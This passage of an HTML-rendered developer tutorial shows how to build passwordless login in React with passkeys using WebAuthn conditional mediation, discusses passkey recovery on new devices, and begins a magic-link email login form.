style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> options </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token maybe-class-name">PublicKeyCredential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">parseRequestOptionsFromJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">optionsJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>Then start the WebAuthn request with <code>mediation: "conditional"</code>:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> credential </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token dom variable" style="color:rgb(201, 103, 101)">navigator</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">credentials</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">get</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">publicKey</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> options</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">mediation</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"conditional"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>The difference is in how the browser presents the authentication flow.</p>
<p>With a normal <code>navigator.credentials.get()</code> call, the browser can immediately show the passkey authentication experience.</p>
<p>With conditional mediation, the request can wait while the user interacts with the login form.</p>
<p>So when the user clicks into the email field, the browser may offer an available passkey alongside the normal autofill suggestions. For example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">alex@example.com</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Use passkey for alex@example.com</span><br></span></code></pre></div></div>
<p>If the user selects the passkey, the pending WebAuthn request continues and the browser asks them to approve the authentication using the available authenticator.</p>
<p>Once that succeeds, React gets the credential response just like before:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">credential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/login/verify"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token string-property property" style="color:rgb(12, 150, 155)">"Content-Type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"application/json"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:rgb(17, 17, 17)">JSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">stringify</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">credential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">toJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>The server then verifies the response using the public credential stored during registration.</p>
<p>Put together, a simple React implementation might look like this:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> useEffect </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"react"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">Login</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useEffect</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token keyword" style="color:rgb(12, 150, 155)">async</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">startConditionalPasskeyLogin</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> supported </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token maybe-class-name">PublicKeyCredential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">isConditionalMediationAvailable</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token operator" style="color:rgb(12, 150, 155)">!</span><span class="token plain">supported</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> optionsJSON </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/login/options"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">then</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter">res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">json</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> options </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token maybe-class-name">PublicKeyCredential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">parseRequestOptionsFromJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">optionsJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> credential </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token dom variable" style="color:rgb(201, 103, 101)">navigator</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">credentials</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">get</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">publicKey</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> options</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">mediation</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"conditional"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token operator" style="color:rgb(12, 150, 155)">!</span><span class="token plain">credential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/login/verify"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">          </span><span class="token string-property property" style="color:rgb(12, 150, 155)">"Content-Type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"application/json"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:rgb(17, 17, 17)">JSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">stringify</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">credential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">toJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">startConditionalPasskeyLogin</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">form</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">input</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">type</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">name</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">username webauthn</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">placeholder</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">Email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">type</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">submit</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text">Continue</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">form</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>From the user's point of view, there is no separate passkey flow to discover. They click into the same login field they would normally use, and if the browser has a passkey available for the site, it can offer that credential directly.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-breaks-when-the-user-gets-a-new-device">What breaks when the user gets a new device?<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#what-breaks-when-the-user-gets-a-new-device" class="hash-link" aria-label="Direct link to What breaks when the user gets a new device?" title="Direct link to What breaks when the user gets a new device?" translate="no">​</a></h3>
<p>Getting a new device does not necessarily mean losing access to a passkey.</p>
<p>If the passkey is synced through a credential provider, it may become available again when the user signs in on the new device.</p>
<p>But that will not cover every case. A user might lose access to the credential provider, use a device-bound passkey, or lose the hardware security key that holds it.</p>
<p>So you still need a recovery path for the case where none of the user's passkeys are available.</p>
<p>That recovery path becomes part of your authentication security model, which takes us back to the recovery discussion earlier.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="magic-links-in-react">Magic links in React<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#magic-links-in-react" class="hash-link" aria-label="Direct link to Magic links in React" title="Direct link to Magic links in React" translate="no">​</a></h2>
<p>Magic links are much simpler than passkeys.</p>
<p>Instead of asking the user for a password, you ask for their email address and send them a short-lived sign-in link.</p>
<p>A basic React form might look like this:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">MagicLinkLogin</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token plain">email</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> setEmail</span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useState</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">""</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">async</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">sendLink</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter">event</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    event</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">preventDefault</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/auth/magic-link"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span 